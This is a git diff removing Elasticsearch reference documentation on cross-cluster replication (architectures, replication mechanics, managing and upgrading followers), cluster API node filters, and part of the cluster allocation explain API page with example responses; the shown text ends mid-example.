-In a uni-directional configuration, the cluster containing follower indices
-must be running **the same or newer** version of {es} as the remote cluster.
-If newer, the versions must also be compatible as outlined in the following matrix.
-
-[%collapsible]
-[[ccr-version-compatibility]]
-.Version compatibility matrix
-====
-include::../modules/remote-clusters.asciidoc[tag=remote-cluster-compatibility-matrix]
-====
-
-[discrete]
-[[ccr-multi-cluster-architectures]]
-=== Multi-cluster architectures
-Use {ccr} to construct several multi-cluster architectures within the Elastic
-Stack:
-
-* <<ccr-disaster-recovery,Disaster recovery>> in case a primary cluster fails,
-with a secondary cluster serving as a hot backup
-* <<ccr-data-locality,Data locality>> to maintain multiple copies of the
-dataset close to the application servers (and users), and reduce costly latency
-* <<ccr-centralized-reporting,Centralized reporting>> for minimizing network
-traffic and latency in querying multiple geo-distributed {es} clusters, or for
-preventing search load from interfering with indexing by offloading search to a
-secondary cluster
-
-Watch the
-https://www.elastic.co/webinars/replicate-elasticsearch-data-with-cross-cluster-replication-ccr[{ccr} webinar] to learn more about the following use cases.
-Then, <<ccr-getting-started,set up {ccr}>> on your local machine and work
-through the demo from the webinar.
-
-[discrete]
-[[ccr-disaster-recovery]]
-==== Disaster recovery and high availability
-Disaster recovery provides your mission-critical applications with the
-tolerance to withstand datacenter or region outages. This use case is the
-most common deployment of {ccr}. You can configure clusters in different
-architectures to support disaster recovery and high availability:
-
-* <<ccr-single-datacenter-recovery>>
-* <<ccr-multiple-datacenter-recovery>>
-* <<ccr-chained-replication>>
-* <<ccr-bi-directional-replication>>
-
-[discrete]
-[[ccr-single-datacenter-recovery]]
-===== Single disaster recovery datacenter
-In this configuration, data is replicated from the production datacenter to the
-disaster recovery datacenter. Because the follower indices replicate the leader
-index, your application can use the disaster recovery datacenter if the
-production datacenter is unavailable.
-
-image::images/ccr-arch-disaster-recovery.png[Production datacenter that replicates data to a disaster recovery datacenter]
-
-[discrete]
-[[ccr-multiple-datacenter-recovery]]
-===== Multiple disaster recovery datacenters
-You can replicate data from one datacenter to multiple datacenters. This
-configuration provides both disaster recovery and high availability, ensuring
-that data is replicated in two datacenters if the primary datacenter is down
-or unavailable.
-
-In the following diagram, data from Datacenter A is replicated to
-Datacenter B and Datacenter C, which both have a read-only copy of the leader
-index from Datacenter A.
-
-image::images/ccr-arch-multiple-dcs.png[Production datacenter that replicates data to two other datacenters]
-
-[discrete]
-[[ccr-chained-replication]]
-===== Chained replication
-You can replicate data across multiple datacenters to form a replication
-chain. In the following diagram, Datacenter A contains the leader index.
-Datacenter B replicates data from Datacenter A, and Datacenter C replicates
-from the follower indices in Datacenter B. The connection between these
-datacenters forms a chained replication pattern.
-
-image::images/ccr-arch-chain-dcs.png[Three datacenters connected to form a replication chain]
-
-[discrete]
-[[ccr-bi-directional-replication]]
-===== Bi-directional replication
-In a https://www.elastic.co/blog/bi-directional-replication-with-elasticsearch-cross-cluster-replication-ccr[bi-directional replication] setup, all clusters have access to view
-all data, and all clusters have an index to write to without manually
-implementing failover. Applications can write to the local index within each
-datacenter, and read across multiple indices for a global view of all
-information.
-
-This configuration requires no manual intervention when a cluster or datacenter
-is unavailable. In the following diagram, if Datacenter A is unavailable, you can continue using Datacenter B without manual failover. When Datacenter A
-comes online, replication resumes between the clusters.
-
-image::images/ccr-arch-bi-directional.png[Bi-directional configuration where each cluster contains both a leader index and follower indices]
-
-NOTE: This configuration is useful for index-only workloads, where no updates
-to document values occur. In this configuration, documents indexed by {es} are
-immutable. Clients are located in each datacenter alongside the {es}
-cluster, and do not communicate with clusters in different datacenters.
-
-[discrete]
-[[ccr-data-locality]]
-==== Data locality
-Bringing data closer to your users or application server can reduce latency
-and response time. This methodology also applies when replicating data in {es}.
-For example, you can replicate a product catalog or reference dataset to 20 or
-more datacenters around the world to minimize the distance between the data and
-the application server.
-
-In the following diagram, data is replicated from one datacenter to three
-additional datacenters, each in their own region. The central datacenter
-contains the leader index, and the additional datacenters contain follower
-indices that replicate data in that particular region. This configuration
-puts data closer to the application accessing it.
-
-image::images/ccr-arch-data-locality.png[A centralized datacenter replicated across three other datacenters, each in their own region]
-
-[discrete]
-[[ccr-centralized-reporting]]
-==== Centralized reporting
-Using a centralized reporting cluster is useful when querying across a large
-network is inefficient. In this configuration, you replicate data from many
-smaller clusters to the centralized reporting cluster.
-
-For example, a large global bank might have 100 {es} clusters around the world
-that are distributed across different regions for each bank branch. Using
-{ccr}, the bank can replicate events from all 100 banks to a central cluster to
-analyze and aggregate events locally for reporting. Rather than maintaining a
-mirrored cluster, the bank can use {ccr} to replicate specific indices.
-
-In the following diagram, data from three datacenters in different regions is
-replicated to a centralized reporting cluster. This configuration enables you
-to copy data from regional hubs to a central cluster, where you can run all
-reports locally.
-
-image::images/ccr-arch-central-reporting.png[Three clusters in different regions sending data to a centralized reporting cluster for analysis]
-
-[discrete]
-[[ccr-replication-mechanics]]
-=== Replication mechanics
-Although you <<ccr-getting-started,set up {ccr}>> at the index level, {es}
-achieves replication at the shard level. When a follower index is created,
-each shard in that index pulls changes from its corresponding shard in the
-leader index, which means that a follower index has the same number of
-shards as its leader index. All operations on the leader are replicated by the
-follower, such as operations to create, update, or delete a document.
-These requests can be served from any copy of the leader shard (primary or
-replica).
-
-When a follower shard sends a read request, the leader shard responds with
-any new operations, limited by the read parameters that you establish when
-configuring the follower index. If no new operations are available, the
-leader shard waits up to the configured timeout for new operations. If the
-timeout elapses, the leader shard responds to the follower shard that there
-are no new operations. The follower shard updates shard statistics and
-immediately sends another read request to the leader shard. This
-communication model ensures that network connections between the remote
-cluster and the local cluster are continually in use, avoiding forceful
-termination by an external source such as a firewall.
-
-If a read request fails, the cause of the failure is inspected. If the
-cause of the failure is deemed to be recoverable (such as a network
-failure), the follower shard enters into a retry loop. Otherwise, the
-follower shard pauses
-<<ccr-pause-replication,until you resume it>>.
-
-When a follower shard receives operations from the leader shard, it places
-those operations in a write buffer. The follower shard submits bulk write
-requests using operations from the write buffer. If the write buffer exceeds
-its configured limits, no additional read requests are sent. This configuration
-provides a back-pressure against read requests, allowing the follower shard
-to resume sending read requests when the write buffer is no longer full.
-
-To manage how operations are replicated from the leader index, you can
-configure settings when
-<<ccr-getting-started-follower-index,creating the follower index>>.
-
-The follower index automatically retrieves some updates applied to the leader
-index, while other updates are retrieved as needed:
-
-[cols="3"]
-|===
-h| Update type h| Automatic  h| As needed
-| Alias        | {yes-icon} | {no-icon}
-| Mapping      | {no-icon}  | {yes-icon}
-| Settings     | {no-icon}  | {yes-icon}
-|===
-
-For example, changing the number of replicas on the leader index is not
-replicated by the follower index, so that setting might not be retrieved.
-
-NOTE: You cannot manually modify a follower index's mappings or aliases.
-
-If you apply a non-dynamic settings change to the leader index that is
-needed by the follower index, the follower index closes itself, applies the
-settings update, and then re-opens itself. The follower index is unavailable
-for reads and cannot replicate writes during this cycle.
-
-[discrete]
-[[ccr-remote-recovery]]
-=== Initializing followers using remote recovery
-When you create a follower index, you cannot use it until it is fully
-initialized. The _remote recovery_ process builds a new copy of a shard on a
-follower node by copying data from the primary shard in the leader cluster.
-
-{es} uses this remote recovery process to bootstrap a follower index using the
-data from the leader index. This process provides the follower with a copy of
-the current state of the leader index, even if a complete history of changes
-is not available on the leader due to Lucene segment merging.
-
-Remote recovery is a network intensive process that transfers all of the Lucene
-segment files from the leader cluster to the follower cluster. The follower
-requests that a recovery session be initiated on the primary shard in the
-leader cluster. The follower then requests file chunks concurrently from the
-leader. By default, the process concurrently requests five 1MB file
-chunks. This default behavior is designed to support leader and follower
-clusters with high network latency between them.
-
-TIP: You can modify dynamic <<ccr-recovery-settings,remote recovery settings>>
-to rate-limit the transmitted data and manage the resources consumed by remote
-recoveries.
-
-Use the <<cat-recovery,recovery API>> on the cluster containing the follower
-index to obtain information about an in-progress remote recovery. Because {es}
-implements remote recoveries using the
-<<snapshot-restore,snapshot and restore>> infrastructure, running remote
-recoveries are labelled as type `snapshot` in the recovery API.
-
-[discrete]
-[[ccr-leader-requirements]]
-=== Replicating a leader requires soft deletes
-{ccr-cap} works by replaying the history of individual write
-operations that were performed on the shards of the leader index. {es} needs to
-retain the
-<<index-modules-history-retention,history of these operations>> on the leader
-shards so that they can be pulled by the follower shard tasks. The underlying
-mechanism used to retain these operations is _soft deletes_.
-
-A soft delete occurs whenever an existing document is deleted or updated. By
-retaining these soft deletes up to configurable limits, the history of
-operations can be retained on the leader shards and made available to the
-follower shard tasks as it replays the history of operations.
-
-The <<ccr-index-soft-deletes-retention-period,`index.soft_deletes.retention_lease.period`>> setting defines the
-maximum time to retain a shard history retention lease before it is
-considered expired. This setting determines how long the cluster containing
-your leader index can be offline, which is 12 hours by default. If a shard copy
-recovers after its retention lease expires, then {es} will fall back to copying
-the entire index, because it can no longer replay the missing history.
-
-Soft deletes must be enabled for indices that you want to use as leader
-indices. Soft deletes are enabled by default on new indices created on
-or after {es} 7.0.0.
-
-// tag::ccr-existing-indices-tag[]
-IMPORTANT: {ccr-cap} cannot be used on existing indices created using {es}
-7.0.0 or earlier, where soft deletes are disabled. You must
-<<docs-reindex,reindex>> your data into a new index with soft deletes
-enabled.
-
-// end::ccr-existing-indices-tag[]
-
-[discrete]
-[[ccr-learn-more]]
-=== Use {ccr}
-This following sections provide more information about how to configure
-and use {ccr}:
-
-* <<ccr-getting-started>>
-* <<ccr-managing>>
-* <<ccr-auto-follow>>
-* <<ccr-upgrading>>
-
-include::getting-started.asciidoc[]
-include::managing.asciidoc[]
-include::auto-follow.asciidoc[]
-include::upgrading.asciidoc[]
diff --git a/docs/reference/ccr/managing.asciidoc b/docs/reference/ccr/managing.asciidoc
deleted file mode 100644
index bb07375a172..00000000000
--- a/docs/reference/ccr/managing.asciidoc
+++ /dev/null
@@ -1,164 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
---------------------------------------------------
-// TESTSETUP
-// TEST[setup:remote_cluster_and_leader_index]
-
-[source,console]
---------------------------------------------------
-POST /follower_index/_ccr/pause_follow
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[[ccr-managing]]
-=== Manage {ccr}
-Use the following information to manage {ccr} tasks, such as inspecting
-replication progress, pausing and resuming replication, recreating a follower
-index, and terminating replication.
-
-[[ccr-access-ccr]]
-To start using {ccr}, access {kib} and go to
-*Management > Stack Management*. In the side navigation, select
-*Cross-Cluster Replication*.
-
-[[ccr-inspect-progress]]
-==== Inspect replication statistics
-To inspect the progress of replication for a follower index and view
-detailed shard statistics, <<ccr-access-ccr,access Cross-Cluster Replication>> and choose the *Follower indices* tab.
-
-Select the name of the follower index you want to view replication details
-for. The slide-out panel shows settings and replication statistics for the
-follower index, including read and write operations that are managed by the
-follower shard.
-
-To view more detailed statistics, click *View in Index Management*, and
-then select the name of the follower index in Index Management.
-Open the tabs for detailed statistics about the follower index.
-
-[%collapsible]
-.API example
-====
-Use the <<ccr-get-follow-stats,get follower stats API>> to inspect replication
-progress at the shard level. This API provides insight into the read and writes
-managed by the follower shard. The API also reports read exceptions that can be
-retried and fatal exceptions that require user intervention.
-====
-
-[[ccr-pause-replication]]
-==== Pause and resume replication
-To pause and resume replication of the leader index, <<ccr-access-ccr,access Cross-Cluster Replication>> and choose the *Follower indices* tab.
-
-Select the follower index you want to pause and choose *Manage > Pause Replication*. The follower index status changes to Paused.
-
-To resume replication, select the follower index and choose
-*Resume replication*.
-
-[%collapsible]
-.API example
-====
-You can pause replication with the
-<<ccr-post-pause-follow,pause follower API>> and then later resume
-replication with the <<ccr-post-resume-follow,resume follower API>>.
-Using these APIs in tandem enables you to adjust the read and write parameters
-on the follower shard task if your initial configuration is not suitable for
-your use case.
-====
-
-[[ccr-recreate-follower-index]]
-==== Recreate a follower index
-When a document is updated or deleted, the underlying operation is retained in
-the Lucene index for a period of time defined by the
-<<ccr-index-soft-deletes-retention-period,`index.soft_deletes.retention_lease.period`>> parameter. You configure
-this setting on the <<ccr-leader-requirements,leader index>>.
-
-When a follower index starts, it acquires a retention lease from
-the leader index. This lease informs the leader that it should not allow a soft
-delete to be pruned until either the follower indicates that it has received
-the operation, or until the lease expires.
-
-If a follower index falls sufficiently behind a leader and cannot
-replicate operations, {es} reports an `indices[].fatal_exception` error. To
-resolve the issue, recreate the follower index. When the new follow index
-starts, the <<ccr-remote-recovery, remote recovery>> process recopies the
-Lucene segment files from the leader.
-
-IMPORTANT: Recreating the follower index is a destructive action. All existing
-Lucene segment files are deleted on the cluster containing the follower index.
-
-To recreate a follower index,
-<<ccr-access-ccr,access Cross-Cluster Replication>> and choose the
-*Follower indices* tab.
-
-[role="screenshot"]
-image::images/ccr-follower-index.png["The Cross-Cluster Replication page in {kib}"]
-
-Select the follower index and pause replication. When the follower index status
-changes to Paused, reselect the follower index and choose to unfollow the
-leader index.
-
-The follower index will be converted to a standard index and will no longer
-display on the Cross-Cluster Replication page.
-
-In the side navigation, choose *Index Management*. Select the follower index
-from the previous steps and close the follower index.
-
-You can then <<ccr-getting-started-follower-index,recreate the follower index>>
-to restart the replication process.
-
-[%collapsible]
-.Use the API
-====
-Use the <<ccr-post-pause-follow,pause follow API>> to pause the replication
-process. Then, close the follower index and recreate it. For example:
-
-[source,console]
-----------------------------------------------------------------------
-POST /follower_index/_ccr/pause_follow
-
-POST /follower_index/_close
-
-PUT /follower_index/_ccr/follow?wait_for_active_shards=1
-{
-  "remote_cluster" : "remote_cluster",
-  "leader_index" : "leader_index"
-}
-----------------------------------------------------------------------
-====
-
-[[ccr-terminate-replication]]
-==== Terminate replication
-You can unfollow a leader index to terminate replication and convert the
-follower index to a standard index.
-
-<<ccr-access-ccr,Access Cross-Cluster Replication>> and choose the
-*Follower indices* tab.
-
-Select the follower index and pause replication. When the follower index status
-changes to Paused, reselect the follower index and choose to unfollow the
-leader index.
-
-The follower index will be converted to a standard index and will no longer
-display on the Cross-Cluster Replication page.
-
-You can then choose *Index Management*, select the follower index
-from the previous steps, and close the follower index.
-
-[%collapsible]
-.Use the API
-====
-You can terminate replication with the
-<<ccr-post-unfollow,unfollow API>>. This API converts a follower index
-to a standard (non-follower) index.
-====
diff --git a/docs/reference/ccr/upgrading.asciidoc b/docs/reference/ccr/upgrading.asciidoc
deleted file mode 100644
index e7cf6249d5e..00000000000
--- a/docs/reference/ccr/upgrading.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ccr-upgrading]]
-=== Upgrading clusters using {ccr}
-++++
-<titleabbrev>Upgrading clusters</titleabbrev>
-++++
-
-Clusters that are actively using {ccr} require a careful approach to upgrades.
-The following conditions could cause index following to fail during rolling
-upgrades:
-
-* Clusters that have not yet been upgraded will reject new index settings or
-mapping types that are replicated from an upgraded cluster.
-* Nodes in a cluster that has not been upgraded will reject index files from a
-node in an upgraded cluster when index following tries to fall back to
-file-based recovery. This limitation is due to Lucene not being forward
-compatible.
-
-The approach to running a rolling upgrade on clusters where {ccr} is
-enabled differs based on uni-directional and bi-directional index following.
-
-[[ccr-uni-directional-upgrade]]
-==== Uni-directional index following
-In a uni-directional configuration, one cluster contains only
-leader indices, and the other cluster contains only follower indices that
-replicate the leader indices.
-
-In this strategy, the cluster with follower indices should be upgraded
-first and the cluster with leader indices should be upgraded last.
-Upgrading the clusters in this order ensures that index following can continue
-during the upgrade without downtime.
-
-You can also use this strategy to upgrade a
-<<ccr-chained-replication,replication chain>>. Start by upgrading clusters at
-the end of the chain and working your way back to the cluster that contains the
-leader indices.
-
-For example, consider a configuration where Cluster A contains all leader
-indices. Cluster B follows indices in Cluster A, and Cluster C follows indices
-in Cluster B.
-
---
-  Cluster A
-          ^--Cluster B
-                     ^--Cluster C
---
-
-In this configuration, upgrade the clusters in the following order:
-
-. Cluster C
-. Cluster B
-. Cluster A
-
-[[ccr-bi-directional-upgrade]]
-==== Bi-directional index following
-
-In a bi-directional configuration, each cluster contains both leader and
-follower indices.
-
-When upgrading clusters in this configuration,
-<<ccr-pause-replication,pause all index following>> and
-<<ccr-auto-follow-pause,pause auto-follow patterns>> prior to
-upgrading both clusters.
-
-After upgrading both clusters, resume index following and resume replication
-of auto-follow patterns.
diff --git a/docs/reference/cluster.asciidoc b/docs/reference/cluster.asciidoc
deleted file mode 100644
index 1c406f0bc18..00000000000
--- a/docs/reference/cluster.asciidoc
+++ /dev/null
@@ -1,112 +0,0 @@
-[[cluster]]
-== Cluster APIs
-
-["float",id="cluster-nodes"]
-=== Node specification
-
-Some cluster-level APIs may operate on a subset of the nodes which can be
-specified with _node filters_. For example, the <<tasks,Task Management>>,
-<<cluster-nodes-stats,Nodes Stats>>, and <<cluster-nodes-info,Nodes Info>> APIs
-can all report results from a filtered set of nodes rather than from all nodes.
-
-_Node filters_ are written as a comma-separated list of individual filters,
-each of which adds or removes nodes from the chosen subset. Each filter can be
-one of the following:
-
-* `_all`, to add all nodes to the subset.
-* `_local`, to add the local node to the subset.
-* `_master`, to add the currently-elected master node to the subset.
-* a node id or name, to add this node to the subset.
-* an IP address or hostname, to add all matching nodes to the subset.
-* a pattern, using `*` wildcards, which adds all nodes to the subset
-  whose name, address or hostname matches the pattern.
-* `master:true`, `data:true`, `ingest:true`, `voting_only:true`, `ml:true`, or
-  `coordinating_only:true`, which respectively add to the subset all
-  master-eligible nodes, all data nodes, all ingest nodes, all voting-only
-  nodes, all machine learning nodes, and all coordinating-only nodes.
-* `master:false`, `data:false`, `ingest:false`, `voting_only:true`, `ml:false`,
-  or `coordinating_only:false`, which respectively remove from the subset all
-  master-eligible nodes, all data nodes, all ingest nodes, all voting-only
-  nodes, all machine learning nodes, and all coordinating-only nodes.
-* a pair of patterns, using `*` wildcards, of the form `attrname:attrvalue`,
-  which adds to the subset all nodes with a custom node attribute whose name
-  and value match the respective patterns. Custom node attributes are
-  configured by setting properties in the configuration file of the form
-  `node.attr.attrname: attrvalue`.
-
-NOTE: node filters run in the order in which they are given, which is important
-if using filters that remove nodes from the set. For example
-`_all,master:false` means all the nodes except the master-eligible ones, but
-`master:false,_all` means the same as `_all` because the `_all` filter runs
-after the `master:false` filter.
-
-NOTE: if no filters are given, the default is to select all nodes. However, if
-any filters are given then they run starting with an empty chosen subset. This
-means that filters such as `master:false` which remove nodes from the chosen
-subset are only useful if they come after some other filters. When used on its
-own, `master:false` selects no nodes.
-
-NOTE: The `voting_only` role requires the {default-dist} of Elasticsearch and
-is not supported in the {oss-dist}.
-
-Here are some examples of the use of node filters with the
-<<cluster-nodes-info,Nodes Info>> APIs.
-
-[source,console]
---------------------------------------------------
-# If no filters are given, the default is to select all nodes
-GET /_nodes
-# Explicitly select all nodes
-GET /_nodes/_all
-# Select just the local node
-GET /_nodes/_local
-# Select the elected master node
-GET /_nodes/_master
-# Select nodes by name, which can include wildcards
-GET /_nodes/node_name_goes_here
-GET /_nodes/node_name_goes_*
-# Select nodes by address, which can include wildcards
-GET /_nodes/10.0.0.3,10.0.0.4
-GET /_nodes/10.0.0.*
-# Select nodes by role
-GET /_nodes/_all,master:false
-GET /_nodes/data:true,ingest:true
-GET /_nodes/coordinating_only:true
-GET /_nodes/master:true,voting_only:false
-# Select nodes by custom attribute (e.g. with something like `node.attr.rack: 2` in the configuration file)
-GET /_nodes/rack:2
-GET /_nodes/ra*:2
-GET /_nodes/ra*:2*
---------------------------------------------------
-
-include::cluster/allocation-explain.asciidoc[]
-
-include::cluster/get-settings.asciidoc[]
-
-include::cluster/health.asciidoc[]
-
-include::cluster/reroute.asciidoc[]
-
-include::cluster/state.asciidoc[]
-
-include::cluster/stats.asciidoc[]
-
-include::cluster/update-settings.asciidoc[]
-
-include::cluster/nodes-usage.asciidoc[]
-
-include::cluster/nodes-hot-threads.asciidoc[]
-
-include::cluster/nodes-info.asciidoc[]
-
-include::cluster/nodes-reload-secure-settings.asciidoc[]
-
-include::cluster/nodes-stats.asciidoc[]
-
-include::cluster/pending.asciidoc[]
-
-include::cluster/remote-info.asciidoc[]
-
-include::cluster/tasks.asciidoc[]
-
-include::cluster/voting-exclusions.asciidoc[]
diff --git a/docs/reference/cluster/allocation-explain.asciidoc b/docs/reference/cluster/allocation-explain.asciidoc
deleted file mode 100644
index 2bbe7e01b9b..00000000000
--- a/docs/reference/cluster/allocation-explain.asciidoc
+++ /dev/null
@@ -1,351 +0,0 @@
-[[cluster-allocation-explain]]
-=== Cluster allocation explain API
-++++
-<titleabbrev>Cluster allocation explain</titleabbrev>
-++++
-
-Provides explanations for shard allocations in the cluster.
-
-
-[[cluster-allocation-explain-api-request]]
-==== {api-request-title}
-
-`GET /_cluster/allocation/explain`
-
-[[cluster-allocation-explain-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-allocation-explain-api-desc]]
-==== {api-description-title}
-
-The purpose of the cluster allocation explain API is to provide
-explanations for shard allocations in the cluster.  For unassigned shards,
-the explain API provides an explanation for why the shard is unassigned.
-For assigned shards, the explain API provides an explanation for why the
-shard is remaining on its current node and has not moved or rebalanced to
-another node. This API can be very useful when attempting to diagnose why a 
-shard is unassigned or why a shard continues to remain on its current node when 
-you might expect otherwise.
-
-
-[[cluster-allocation-explain-api-query-params]]
-==== {api-query-parms-title}
-
-`include_disk_info`::
-    (Optional, Boolean) If `true`, returns information about disk usage and 
-    shard sizes. Defaults to `false`.
-    
-`include_yes_decisions`::
-    (Optional, Boolean) If `true`, returns 'YES' decisions in explanation. 
-    Defaults to `false`.
-
-
-[[cluster-allocation-explain-api-request-body]]
-==== {api-request-body-title}
-
-`current_node`::
-    (Optional, string) Specifies the node ID or the name of the node to only 
-    explain a shard that is currently located on the specified node.
-
-`index`::
-    (Optional, string) Specifies the name of the index that you would like an 
-    explanation for.
-
-`primary`::
-    (Optional, Boolean) If `true`, returns explanation for the primary shard 
-    for the given shard ID.
-
-`shard`::
-    (Optional, integer) Specifies the ID of the shard that you would like an 
-    explanation for.
-
-You can also have {es} explain the allocation of the first unassigned shard that 
-it finds by sending an empty body for the request.
-
-
-[[cluster-allocation-explain-api-examples]]
-==== {api-examples-title}
-
-
-//////
-[source,console]
---------------------------------------------------	
-PUT /my-index-000001	
---------------------------------------------------	
-// TESTSETUP
-//////
-
-[source,console]
---------------------------------------------------
-GET /_cluster/allocation/explain
-{
-  "index": "my-index-000001",
-  "shard": 0,
-  "primary": true
-}
---------------------------------------------------
-
-
-===== Example of the current_node parameter
-
-[source,console]
---------------------------------------------------
-GET /_cluster/allocation/explain
-{
-  "index": "my-index-000001",
-  "shard": 0,
-  "primary": false,
-  "current_node": "nodeA"                         <1>
-}
---------------------------------------------------
-// TEST[skip:no way of knowing the current_node]
-
-<1> The node where shard 0 currently has a replica on
-
-
-===== Examples of unassigned primary shard explanations
-
-//////
-[source,console]
---------------------------------------------------	
-DELETE my-index-000001
---------------------------------------------------	
-//////
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001?master_timeout=1s&timeout=1s
-{
-  "settings": {
-    "index.routing.allocation.include._name": "non_existent_node",
-    "index.routing.allocation.include._tier_preference": null
-  }
-}
-
-GET /_cluster/allocation/explain
-{
-  "index": "my-index-000001",
-  "shard": 0,
-  "primary": true
-}
---------------------------------------------------
-// TEST[continued]
-
-
-The API returns the following response for an unassigned primary shard:
-
-[source,console-result]
---------------------------------------------------
-{
-  "index" : "my-index-000001",
-  "shard" : 0,
-  "primary" : true,
-  "current_state" : "unassigned",                 <1>
-  "unassigned_info" : {
-    "reason" : "INDEX_CREATED",                   <2>
-    "at" : "2017-01-04T18:08:16.600Z",
-    "last_allocation_status" : "no"
-  },
-  "can_allocate" : "no",                          <3>
-  "allocate_explanation" : "cannot allocate because allocation is not permitted to any of the nodes",
-  "node_allocation_decisions" : [
-    {
-      "node_id" : "8qt2rY-pT6KNZB3-hGfLnw",
-      "node_name" : "node-0",
-      "transport_address" : "127.0.0.1:9401",
-      "node_attributes" : {},
-      "node_decision" : "no",                     <4>
-      "weight_ranking" : 1,
-      "deciders" : [
-        {
-          "decider" : "filter",                   <5>
-          "decision" : "NO",
-          "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"non_existent_node\"]"  <6>
-        }
-      ]
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"at" : "[^"]*"/"at" : $body.$_path/]
-// TESTRESPONSE[s/"node_id" : "[^"]*"/"node_id" : $body.$_path/]
-// TESTRESPONSE[s/"transport_address" : "[^"]*"/"transport_address" : $body.$_path/]
-// TESTRESPONSE[s/"node_attributes" : \{\}/"node_attributes" : $body.$_path/]
-
-<1> The current state of the shard.
-<2> The reason for the shard originally becoming unassigned.
-<3> Whether to allocate the shard.
-<4> Whether to allocate the shard to the particular node.
-<5> The decider which led to the `no` decision for the node.
-<6> An explanation as to why the decider returned a `no` decision, with a helpful hint pointing to the setting that led to the decision.
-
-
-The API response output for an unassigned primary shard that had previously been
-allocated to a node in the cluster:
-
-[source,js]
---------------------------------------------------
-{
-  "index" : "my-index-000001",
-  "shard" : 0,
-  "primary" : true,
-  "current_state" : "unassigned",
-  "unassigned_info" : {
-    "reason" : "NODE_LEFT",
-    "at" : "2017-01-04T18:03:28.464Z",
-    "details" : "node_left[OIWe8UhhThCK0V5XfmdrmQ]",
-    "last_allocation_status" : "no_valid_shard_copy"
-  },
-  "can_allocate" : "no_valid_shard_copy",
-  "allocate_explanation" : "cannot allocate because a previous copy of the primary shard existed but can no longer be found on the nodes in the cluster"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-===== Example of an unassigned replica shard explanation
-
-The API response output for a replica that is unassigned due to delayed 
-allocation:
-
-[source,js]
---------------------------------------------------
-{
-  "index" : "my-index-000001",
-  "shard" : 0,
-  "primary" : false,
-  "current_state" : "unassigned",
-  "unassigned_info" : {
-    "reason" : "NODE_LEFT",
-    "at" : "2017-01-04T18:53:59.498Z",
-    "details" : "node_left[G92ZwuuaRY-9n8_tc-IzEg]",
-    "last_allocation_status" : "no_attempt"
-  },
-  "can_allocate" : "allocation_delayed",
-  "allocate_explanation" : "cannot allocate because the cluster is still waiting 59.8s for the departed node holding a replica to rejoin, despite being allowed to allocate the shard to at least one other node",
-  "configured_delay" : "1m",                      <1>
-  "configured_delay_in_millis" : 60000,
-  "remaining_delay" : "59.8s",                    <2>
-  "remaining_delay_in_millis" : 59824,
-  "node_allocation_decisions" : [
-    {
-      "node_id" : "pmnHu_ooQWCPEFobZGbpWw",
-      "node_name" : "node_t2",
-      "transport_address" : "127.0.0.1:9402",
-      "node_decision" : "yes"
-    },
-    {
-      "node_id" : "3sULLVJrRneSg0EfBB-2Ew",
-      "node_name" : "node_t0",
-      "transport_address" : "127.0.0.1:9400",
-      "node_decision" : "no",
-      "store" : {                                 <3>
-        "matching_size" : "4.2kb",
-        "matching_size_in_bytes" : 4325
-      },
-      "deciders" : [
-        {
-          "decider" : "same_shard",
-          "decision" : "NO",
-          "explanation" : "a copy of this shard is already allocated to this node [[my-index-000001][0], node[3sULLVJrRneSg0EfBB-2Ew], [P], s[STARTED], a[id=eV9P8BN1QPqRc3B4PLx6cg]]"
-        }
-      ]
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> The configured delay before allocating a replica shard that does not exist due to the node holding it leaving the cluster.
-<2> The remaining delay before allocating the replica shard.
-<3> Information about the shard data found on a node.
-
-
-===== Examples of allocated shard explanations
-
-The API response output for an assigned shard that is not allowed to remain on 
-its current node and is required to move:
-
-[source,js]
---------------------------------------------------
-{
-  "index" : "my-index-000001",
-  "shard" : 0,
-  "primary" : true,
-  "current_state" : "started",
-  "current_node" : {
-    "id" : "8lWJeJ7tSoui0bxrwuNhTA",
-    "name" : "node_t1",
-    "transport_address" : "127.0.0.1:9401"
-  },
-  "can_remain_on_current_node" : "no",            <1>
-  "can_remain_decisions" : [                      <2>
-    {
-      "decider" : "filter",
-      "decision" : "NO",
-      "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"non_existent_node\"]"
-    }
-  ],
-  "can_move_to_other_node" : "no",                <3>
-  "move_explanation" : "cannot move shard to another node, even though it is not allowed to remain on its current node",
-  "node_allocation_decisions" : [
-    {
-      "node_id" : "_P8olZS8Twax9u6ioN-GGA",
-      "node_name" : "node_t0",
-      "transport_address" : "127.0.0.1:9400",
-      "node_decision" : "no",
-      "weight_ranking" : 1,
-      "deciders" : [
-        {
-          "decider" : "filter",
-          "decision" : "NO",
-          "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"non_existent_node\"]"
-        }
-      ]
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> Whether the shard is allowed to remain on its current node.
-<2> The deciders that factored into the decision of why the shard is not allowed to remain on its current node.
-<3> Whether the shard is allowed to be allocated to another node.
-
-
-The API response output for an assigned shard that remains on its current node
-because moving the shard to another node does not form a better cluster balance:
-
-[source,js]
---------------------------------------------------
-{
-  "index" : "my-index-000001",
-  "shard" : 0,
-  "primary" : true,
-  "current_state" : "started",
-  "current_node" : {
-    "id" : "wLzJm4N4RymDkBYxwWoJsg",
-    "name" : "node_t0",
-    "transport_address" : "127.0.0.1:9400",
-    "weight_ranking" : 1
-  },
-  "can_remain_on_current_node" : "yes",
-  "can_rebalance_cluster" : "yes",                <1>
-  "can_rebalance_to_other_node" : "no",           <2>
-  "rebalance_explanation" : "cannot rebalance as no target node exists that can both allocate this shard and improve the cluster balance",
-  "node_allocation_decisions" : [
-    {
-      "node_id" : "oE3EGFc8QN-Tdi5FFEprIA",
-      "node_name" : "node_t1",
-      "transport_address" : "127.0.0.1:9401",
